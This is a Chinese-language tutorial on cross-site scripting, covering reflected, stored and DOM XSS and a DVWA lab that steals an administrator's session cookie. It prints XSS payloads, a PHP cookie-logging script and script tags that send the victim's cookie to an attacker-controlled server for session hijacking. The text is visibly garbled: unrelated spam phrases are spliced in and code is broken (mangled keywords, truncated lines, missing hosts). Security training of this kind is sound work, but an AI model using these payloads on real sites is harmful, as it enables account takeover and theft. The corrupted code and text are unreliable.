XSS(跨站脚本攻击)分析与实战
⽂章⽬录
⼀、漏洞原理
1、XSS简介:
XSS全称:Cross Site Scripting,即跨站脚本攻击,为了不和“层叠样式表”(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是最常见的 Web 应⽤程序安全漏洞之⼀,这类漏洞能够使攻击者嵌⼊恶意脚本代码(⼀般是JS代码)到正常⽤户会访问到的页⾯中,当正常⽤户访问该页⾯时,恶意脚本代码将会在⽤户的浏览器上执⾏,从⽽达到恶意攻击⽤户的⽬的。
从上述内容可知,XSS属于客户端攻击,受害者最终是⽤户。但不要以为受害者是⽤户,就认为跟⾃⼰的⽹站、服务器安全没有关系,不要忘记⽹站管理⼈员也属于⽤户之⼀,这就意味着 XSS 可以攻击 “服务器端”。因为管理员要⽐普通⽤户的权限⼤得多,⽽攻击者就有可能靠管理员⾝份作为“跳板”实施攻击。
2、XSS原理解析:
蝴蝶结简笔画
XSS攻击在⽹页中嵌⼊的恶意脚本代码⼀般是使⽤ JavaScript 语⾔,JavaScript 可以获取⽤户的Cookie、改变⽹页内容、URL跳转,那么存在XSS漏洞的⽹站,就可以盗取⽤户Cookie、⿊掉页⾯、导航到恶意⽹站,⽽攻击者需要做的仅仅是向Web页⾯中注⼊JavaScript 代码。
下⾯是⼀个简单的XSS漏洞实例,代码如下:
<html>
<head>
<meta content="text/html;chart=utf-8"/>
<title>xss漏洞⽰例</title>
</head>
<body>
<center>
<h6>把输⼊的字符串输出</h6>
<form action="#" method="get">
<h6>请输⼊</h6>罗阳小学
<input type="text" name="xss"><br />
论语译注读后感<input type="submit" value="确定">
</form>
<hr>
<?php
if (ist($_GET['xss'])) {
echo '<input type="text" value="'.$_GET['xss'].'">';
}el{
echo '<input type="text">';
}
>
</center>
</body>
</html>
在代码中,通过GET获取参数xss的值,然后通过echo输出⼀个input标签,并将xss的值放⼊input标签的value中。例如我们输⼊123,会在下⾯的输出框中输出123。
那么当我们输⼊"><script>alert(1)</script>时,输出到页⾯的 HTML代码变为
<input type="text" value=""><script>alert(1)</script>">
发现,输⼊的双引号闭合了value属性的双引号,输⼊的>闭合了input的标签,导致我们后⾯输⼊的恶意代码成为另⼀个HTML标签。
当浏览器渲染时执⾏了<script>alert(1)</script>,JS函数alert()导致浏览器弹窗。
在真实的攻击中,攻击者通过构造JS代码来实现⼀些 “特殊效果”。攻击者不仅仅弹出⼀个框,通常使⽤<script src=" /x.txt"></script>⽅式来加载外部脚本,⽽在x.txt中就存放着攻击者的恶意JS 代码,这段代码可能是⽤来盗取⽤户的Cookie,也可能是监控键盘记录等恶意⾏为。
注:JavaScript 加载外部的代码⽂件可以是任意扩展名(⽆扩展名也可以),如:<script src="www.cbug/x.jpg"></script>,即使⽂件为图⽚扩展名x.jpg,但只要其⽂件中包含JS代码就会被执⾏。
3、XSS的分类:
XSS主要被分为三类,分别是:反射型、存储型和 DOM型。这些有⼀些相同的特点,但是在如何确定和利⽤⽅⾯有⼀些区别,下⾯依次分析它们。
3.1、反射型XSS
反射型XSS 也被称为⾮持久性XSS,是最容易出现的⼀种XSS漏洞。当⽤户访问⼀个带有 XSS 代码的 URL 请求时,服务器端接收数据后处理,然后把带有 XSS 代码的数据发送到浏览器,浏览器解析这段带有 XSS 代码的数据后,最终造成 XSS 漏洞。这个过程就像⼀次反射,故称为 “反射型XSS”。
下⾯⽤ DVWA 为⼤家进⾏演⽰,在输⼊框中构造如下JS代码:
<script>alert('XSS')</script>
这代码是进⾏弹窗操作,如果页⾯出现弹窗,说明我们插⼊的恶意代码被执⾏,结果如下:
可以看到页⾯出现弹窗,即我们输⼊的代码被程序成功解析,⽹站存在反射型XSS漏洞。
可能有⼈会说:这似乎并没有造成什么危害,不就是弹出⼀个框吗?那么请看下⾯这个例⼦。
假如⽹站 /xss.php 存在XSS反射型漏洞,那么攻击者的步骤可能如下:
1. ⽤户 A 是⽹站 的忠实⽤户,此时正泡在论坛看信息。
2. 攻击者发现 /xss.php 存在反射型XSS漏洞,然后精⼼构造JS代码,此段代码可以盗取⽤户Cookie发送到指定的站点 。
3. 攻击者将带有反射型XSS漏洞的URL通过站内私信发送给⽤户A,信的内容为⼀些诱惑信息,⽬的是为让⽤户A单击链接。
4. 假设⽤户 A 点击了带有XSS漏洞的URL,那么将会把⾃⼰的Cookie 发送到⽹站。
5. 攻击者接收到⽤户 A 的会话Cookie,可以直接利⽤Cookie 以 A 的⾝份登录www.XXX,从⽽获
取⽤户 A 的敏感信息。
以上步骤,通过使⽤反射型XSS漏洞可以以⽤户 A 的⾝份登录⽹站,这就是其危害,如果A的⾝份是管理员,那么危害将更加严重。
这是最简单的⼀种攻击,攻击者截获通过验证的⽤户会话令牌。劫持⽤户的会话后,攻击者就可以访问该⽤户经授权访问的所有数据和功能,其过程可以⽤⼀张图表⽰:
3.2、存储型XSS
存储型XSS⼜被称为持久性XSS,是最危险的⼀种跨站脚本。允许⽤户存储数据的 Web 应⽤都可能会出现存储型XSS漏洞,当攻击者提交⼀段XSS代码后,被服务器端接收并
存储,然后不经过过滤或净化就显⽰给其他⽤户,这时候就会出现存储型XSS。生态板材
存储型与反射型、DOM型相⽐,具有更⾼的隐蔽性,危害性也更⼤。它们之间最⼤的区别在于:反射型XSS 与 DOM型XSS 执⾏都必须依靠⽤户⼿动去触发,⽽存储型XSS却
不需要。
利⽤存储型XSS漏洞的攻击⾄少需要向 Web 应⽤提出两个请求。攻击者在第⼀个请求中构造JavaScript,应⽤程序接受并保存。在第⼆个请求中,⼀名受害者查看包含恶意代码
的页⾯,这时JavaScript开始执⾏。
下⾯以 DVWA 的存储型XSS为例:
核⼼代码:
<?php
if( ist( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((ist($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() // Sanitize name input
$name = ((ist($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! T // Update databa
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res
}
>
在上⾯代码中,获取POST参数mtxMessage和txtName,然后将参数插⼊到数据库的表中,并显⽰到页⾯上。页⾯的功能是获取⽤户名字和内容并插⼊到数据库中,如果我们输
曾乔
⼊恶意代码,那么也会插⼊到数据库中,只要⽤户访问这个页⾯,那么恶意代码就会执⾏。
在页⾯提交以下数据
可以看到数据成功存储到了数据库
那么当其它⽤户访问这个页⾯时就会执⾏存储的JS代码。
试想⼀下:如果攻击者构造的JS代码是把当前⽤户的Cookie发送给攻击者时,后果会有多严重?
3.3、DOM型XSS
DOM XSS与反射型XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端的解析响应,触发XSS的是浏览器端(即客户端)的DOM解析。
DOM的全称:Document Object Model,即⽂档对象模型,DOM通常⽤于代表HTML、XHTML和XML中的对象。使⽤ DOM 可以允许程序和脚本动态地访问和更新⽂档的内容、
结构和样式。根据DOM规定,HTML⽂档中的每个成分都是⼀个节点。
DOM的规定如下:
整个⽂档是⼀个⽂档节点
每个HTML标签是⼀个元素节点
包含在HTML元素中的⽂本是⽂本节点
每⼀个HTML属性是⼀个属性节点
节点与节点之间都有层级关系
这些节点按照层级关系组成了 DOM 的整体结构:节点树,如图所⽰:
在⼀个web页⾯中有许多组成页⾯的元素,当页⾯到达浏览器时,浏览器会为页⾯创建⼀个顶级的 Document object ⽂档对象,接着⽣成各个⼦⽂档对象,每个页⾯元素对应⼀
个⽂档对象,每个⽂档对象包含属性、⽅法和事件。通过JS脚本可以对⽂档对象进⾏编辑从⽽修改页⾯的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页⾯内
容,从客户端获取DOM中的数据并在本地执⾏。基于这个特性,就可以利⽤JS脚本来实现XSS漏洞的利⽤。
可能触发DOM型XSS的属性:
window.name属性
location属性
innerHTML属性
documen.write属性
来看⼀个例⼦,代码如下:
<html>
<head>
<meta content="text/html;chart=utf-8" />
<title>XSS DOM</title>
<script type="text/javascript">
function replace() {
}
</script>
</head>
<body>
<center>
<h6 id="id1">这⾥显⽰输⼊的内容</h6>
<form action="#" method="post">
<input type="text" id="dom_input" value="输⼊"><br />
女肉畜
<input type="button" value="替换" onclick="replace()">
</form>
<hr>
</center>
</body>
</html>
程序存在JS函数replace(),该函数的作⽤是通过DOM操作将元素 id1 的内容修改为元素 dom_input 的内容。这个页⾯的功能是输⼊框中输⼊什么,上⾯得⽂字就会被替换成什
么。
输⼊恶意代码<img src=1 onerror=alert(1)>,单击替换按钮,页⾯出现弹框,说明我们的代码被浏览器成功解析,导致DOM XSS。
⼆、靶场实战
前⾯介绍了 XSS 简单原理与⼏种类型,接下来通过实例来演⽰:XSS盗取⽤户的Cookie。
XSS实现盗取管理员Cookie并登录:启动效应
这⾥测试⽤的⼯具是DVWA,⾸先登陆DVWA,选择low模式(默认是impossible),
选择XSS(Reflected),⾸先对页⾯测试,输⼊代码:
<script>alert(1)</script>
界⾯出现弹窗,说明存在XSS跨站漏洞
接下来在⾃⼰的⽹站⽬录下,创建⼀个如下的php⽂件:
getcookie.php:
<?php
$cookie = $_GET['cookie']; //以GET⽅式获取cookie
sony电脑
$log = fopen("", "a");
fwrite($log, $cookie ."\n"); //写⼊⽂件并保存
fclo($log);
>
接下来在有XSS漏洞的地⽅,输⼊如下代码
<script>document.location=':81/getcookie.php?cookie='+kie;</script>
注:在JavaScript 中
document.location ⽤于跳转页⾯
或
<script>var i=new Image; i.src=":81/getcookie.php?cookie="+kie;</script>
点击提交后,受攻击的⽤户的Cookie信息就会发送到攻击者的服务器并保存。
可以看到Cookie信息成功发送到⾃⼰服务器⾥。
接着使⽤我们正常⽤户进⾏登录,DVWA 中内置了⼀些其他⽤户,这⾥使⽤⽤户:smithy 密码:password,进⾏登录并开启 burpsuite 抓包在 burpsuit 放⾏第⼀个请求,即下⾯这个带⽤户名和密码的包
将存在 Cookie 信息的请求发送到 Repeater 进⾏重放攻击
替换⽤户 Cookie 信息,将现在的普通⽤户的 cookie 信息替换成前期抓到的 admin ⽤户的cookie 信息。
成功以管理员账户登录!
点击 Show respon in browr 在浏览器中打开
点击copy,在浏览器中打开
测试结束!